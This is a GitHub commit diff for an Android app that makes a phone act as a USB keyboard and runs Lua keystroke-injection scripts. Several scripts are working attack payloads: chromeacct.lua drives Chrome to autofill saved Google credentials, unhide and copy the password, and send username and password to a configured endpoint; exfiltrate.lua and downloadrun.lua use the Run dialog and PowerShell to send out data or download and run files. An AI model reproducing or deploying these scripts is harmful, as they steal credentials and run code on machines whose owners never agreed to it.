Skip to content

Commit 2e25e1d

Browse files
committed
usb: fix some stuff, add some fun stuff
1 parent ef420c8 commit 2e25e1d

File tree

10 files changed

+93
-57
lines changed

10 files changed

+93
-57
lines changed

app/src/main/assets/lib/common.lua

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,4 +11,34 @@ function wait_for_detect(kb)
1111
end
1212
wait(100)
1313
end
14+
end
15+
16+
function wait_for_state(state)
17+
while luausb.state() ~= state do
18+
wait(100)
19+
end
20+
end
21+
22+
-- make it really obvious when a script is done running
23+
function done(kb)
24+
kb:press(KEY_NUMLOCK)
25+
26+
wait(100)
27+
local lock
28+
while true do
29+
local val = kb:read_lock()
30+
print(val)
31+
if val == nil then break end
32+
lock = val
33+
end
34+
if lock == nil then return end
35+
36+
if lock.num_lock then kb:press(KEY_NUMLOCK) end
37+
if lock.caps_lock then kb:press(KEY_CAPSLOCK) end
38+
if lock.scroll_lock then kb:press(KEY_SCROLLLOCK) end
39+
40+
while true do
41+
kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
42+
wait(500)
43+
end
1444
end

app/src/main/assets/scripts/chromeacct.lua

Lines changed: 16 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -20,47 +20,36 @@ while true do
2020
wait(1000)
2121
end
2222

23+
wait_for_detect(kb)
2324
print("running")
24-
-- wait 1 second for things to settle down
25-
wait(1000)
2625

2726
-- open chrome
2827
kb:chord(MOD_LSUPER, KEY_R)
2928
wait(1000)
30-
kb:string("chrome\n")
31-
wait(2000)
32-
33-
-- open incognito window
34-
kb:chord({ MOD_LCTRL, MOD_LSHIFT }, KEY_N)
29+
kb:string("chrome --incognito\n")
3530
wait(2000)
3631

3732
-- navigate to login page
3833
kb:string("accounts.google.com\n")
3934
wait(2000)
4035

4136
-- autofill username and continue
42-
kb:press(KEY_DOWN)
43-
wait(100)
37+
kb:press(KEY_DOWN); wait(100)
38+
kb:press(KEY_DOWN); wait(100)
39+
kb:press(KEY_ENTER); wait(100)
40+
kb:chord(MOD_LCTRL, KEY_A); wait(100)
41+
kb:chord(MOD_LCTRL, KEY_C); wait(100)
4442
kb:press(KEY_ENTER)
45-
wait(100)
46-
kb:press(KEY_ENTER)
47-
wait(2000)
43+
wait(4000)
4844

4945
-- autofill password
50-
kb:press(KEY_DOWN)
51-
wait(100)
52-
kb:press(KEY_DOWN)
53-
wait(100)
54-
kb:press(KEY_ENTER)
55-
wait(100)
56-
-- unhide password
57-
kb:press(KEY_TAB)
58-
wait(100)
59-
kb:press(KEY_ENTER)
60-
wait(100)
61-
-- copy password to clipboard
62-
kb:chord(MOD_LSHIFT, KEY_TAB)
63-
wait(100)
46+
kb:press(KEY_TAB); wait(100)
47+
kb:press(KEY_SPACE); wait(100)
48+
kb:chord(MOD_LSHIFT, KEY_TAB); wait(100)
49+
kb:press(KEY_LEFT); wait(100)
50+
kb:chord(MOD_LCTRL, KEY_V); wait(100)
51+
kb:string("|"); wait(100)
52+
kb:chord(MOD_LCTRL, KEY_A); wait(100)
6453
kb:chord(MOD_LCTRL, KEY_C)
6554
wait(100)
6655

@@ -70,13 +59,11 @@ while true do
7059
kb:string(endpoint)
7160
kb:chord(MOD_LCTRL, KEY_V)
7261
kb:press(KEY_ENTER)
73-
wait(2000)
62+
wait(4000)
7463

7564
-- close everything we opened
7665
kb:chord(MOD_LALT, KEY_F4)
7766
wait(1000)
78-
kb:chord(MOD_LALT, KEY_F4)
79-
wait(1000)
8067

8168
print("done")
8269
-- poll until usb unplugged

app/src/main/assets/scripts/composite.lua

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,9 @@
22
--- Composite device composed of two keyboards
33
---
44
---
5+
6+
require('common')
7+
58
kb1, kb2 = luausb.create({ type = "keyboard", id = 0 }, { type = "keyboard", id = 1 })
69

710
while true do
@@ -12,8 +15,8 @@ while true do
1215
wait(1000)
1316
end
1417

18+
wait_for_detect(kb)
1519
print("running")
16-
wait(1000)
1720

1821
-- send a string from keyboard 1
1922
kb1:string("kb1")

app/src/main/assets/scripts/debug.lua

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
require('common')
12
local inspect = require('inspect')
23

34
kb = luausb.create({ id = 0, type = "keyboard" })

app/src/main/assets/scripts/downloadrun.lua

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@
33
--- directly translated from the Java version in previous builds
44
---
55

6+
require('common')
7+
68
kb = luausb.create({ id = 0, type = "keyboard" })
79

810
local file = prompt{
@@ -22,8 +24,8 @@ while true do
2224
wait(1000)
2325
end
2426

27+
wait_for_detect(kb)
2528
print("running")
26-
wait(1000)
2729

2830
print("opening powershell, runAs=" .. tostring(runAs))
2931
if runAs then

app/src/main/assets/scripts/exfiltrate.lua

Lines changed: 5 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -13,13 +13,10 @@ while true do
1313
print("idle")
1414

1515
-- poll until usb plugged in
16-
while luausb.state() == "not attached" do
17-
wait(1000)
18-
end
19-
20-
print("running")
16+
wait_for_state('configured')
2117

2218
wait_for_detect(kb)
19+
print("running")
2320

2421
kb:chord(MOD_LSUPER, KEY_R)
2522
wait(1000)
@@ -29,10 +26,9 @@ while true do
2926
.. "computername'.txt'\"\n")
3027

3128
print("done")
32-
-- poll until usb unplugged
33-
while luausb.state() == "configured" do
34-
wait(1000)
35-
end
29+
done(kb)
30+
wait_for_state('not attached')
31+
3632
print("disconnected")
3733
end
3834

app/src/main/assets/scripts/wallpaper.lua

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22
--- Change Windows 10 desktop wallpaper
33
---
44

5+
require('common')
6+
57
kb = luausb.create({ id = 0, type = "keyboard" })
68

79
local file = prompt{
@@ -14,12 +16,10 @@ while true do
1416
print("idle")
1517

1618
-- poll until usb plugged in
17-
while luausb.state() == "not attached" do
18-
wait(1000)
19-
end
19+
wait_for_state('configured')
2020

21+
wait_for_detect(kb)
2122
print("running")
22-
wait(1000)
2323

2424
kb:chord(MOD_LSUPER, KEY_R)
2525
wait(2000)
@@ -39,8 +39,6 @@ while true do
3939
"exit\n")
4040

4141
print("done")
42-
-- poll until usb unplugged
43-
while luausb.state() == "configured" do
44-
wait(1000)
45-
end
42+
43+
wait_for_state('not attached')
4644
end

app/src/main/java/org/netdex/androidusbscript/function/DeviceStream.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import com.topjohnwu.superuser.io.SuFile;
99

1010
import org.netdex.androidusbscript.util.FileSystem;
11+
import org.netdex.androidusbscript.util.Util;
1112

1213
import java.io.Closeable;
1314
import java.io.FileInputStream;
@@ -74,7 +75,7 @@ private boolean waitForDevice() throws InterruptedException {
7475
if (fs_.exists(devicePath_)) {
7576
return true;
7677
}
77-
Thread.sleep(100);
78+
Thread.sleep(500);
7879
}
7980
return false;
8081
}

app/src/main/java/org/netdex/androidusbscript/lua/LuaHidKeyboard.java

Lines changed: 25 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import org.netdex.androidusbscript.function.DeviceStream;
77
import org.netdex.androidusbscript.util.FileSystem;
88
import org.netdex.androidusbscript.function.HidInput.Keyboard.Mod;
9+
import org.netdex.androidusbscript.util.Util;
910

1011
import static org.luaj.vm2.LuaValue.NONE;
1112
import static org.netdex.androidusbscript.MainActivity.TAG;
@@ -36,7 +37,7 @@ public LuaHidKeyboard(FileSystem fs, String devicePath) throws IOException {
3637
*
3738
* @param keys HID keyboard bytes
3839
*/
39-
public void raw(byte... keys) throws IOException, InterruptedException {
40+
private void raw(byte... keys) throws IOException, InterruptedException {
4041
byte[] buffer = new byte[8];
4142
if (keys.length > 7)
4243
throw new IllegalArgumentException("Too many parameters in HID report");
@@ -45,15 +46,31 @@ public void raw(byte... keys) throws IOException, InterruptedException {
4546
this.write(buffer);
4647
}
4748

48-
public void press(byte... keys) throws IOException, InterruptedException {
49-
raw(keys);
50-
raw();
51-
}
49+
public static VarArgFunction press = new VarArgFunction() {
50+
@Override
51+
public Varargs invoke(Varargs args) {
52+
args.argcheck(args.narg() >= 2, 0, "at least 2 args required");
53+
LuaHidKeyboard hid = (LuaHidKeyboard) args.arg1().checkuserdata();
54+
55+
byte[] a = new byte[args.narg()];
56+
a[0] = MOD_NONE.code;
57+
for (int i = 2; i <= args.narg(); ++i) {
58+
a[i - 1] = checkbyte(args.arg(i).checkint());
59+
}
60+
try {
61+
hid.raw(a);
62+
hid.raw();
63+
} catch (IOException | InterruptedException e) {
64+
throw new LuaError(e);
65+
}
66+
return NONE;
67+
}
68+
};
5269

5370
public static VarArgFunction chord = new VarArgFunction() {
5471
@Override
5572
public Varargs invoke(Varargs args) {
56-
args.argcheck(args.narg() >= 3, 0, "at least 2 args required");
73+
args.argcheck(args.narg() >= 3, 0, "at least 3 args required");
5774
LuaHidKeyboard hid = (LuaHidKeyboard) args.arg1().checkuserdata();
5875

5976
byte mask;
@@ -73,7 +90,8 @@ public Varargs invoke(Varargs args) {
7390
a[i - 1] = checkbyte(args.arg(i).checkint());
7491
}
7592
try {
76-
hid.press(a);
93+
hid.raw(a);
94+
hid.raw();
7795
} catch (IOException | InterruptedException e) {
7896
throw new LuaError(e);
7997
}

app/src/main/java/org/netdex/androidusbscript/lua/LuaHidMouse.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ public LuaHidMouse(FileSystem fs, String devicePath) throws IOException {
2424
*
2525
* @param offset HID mouse bytes
2626
*/
27-
public void raw(byte... offset) throws IOException, InterruptedException {
27+
private void raw(byte... offset) throws IOException, InterruptedException {
2828
byte[] buffer = new byte[4];
2929
if (offset.length > 4)
3030
throw new IllegalArgumentException("Too many parameters in HID report");

0 commit comments

Comments
 (0)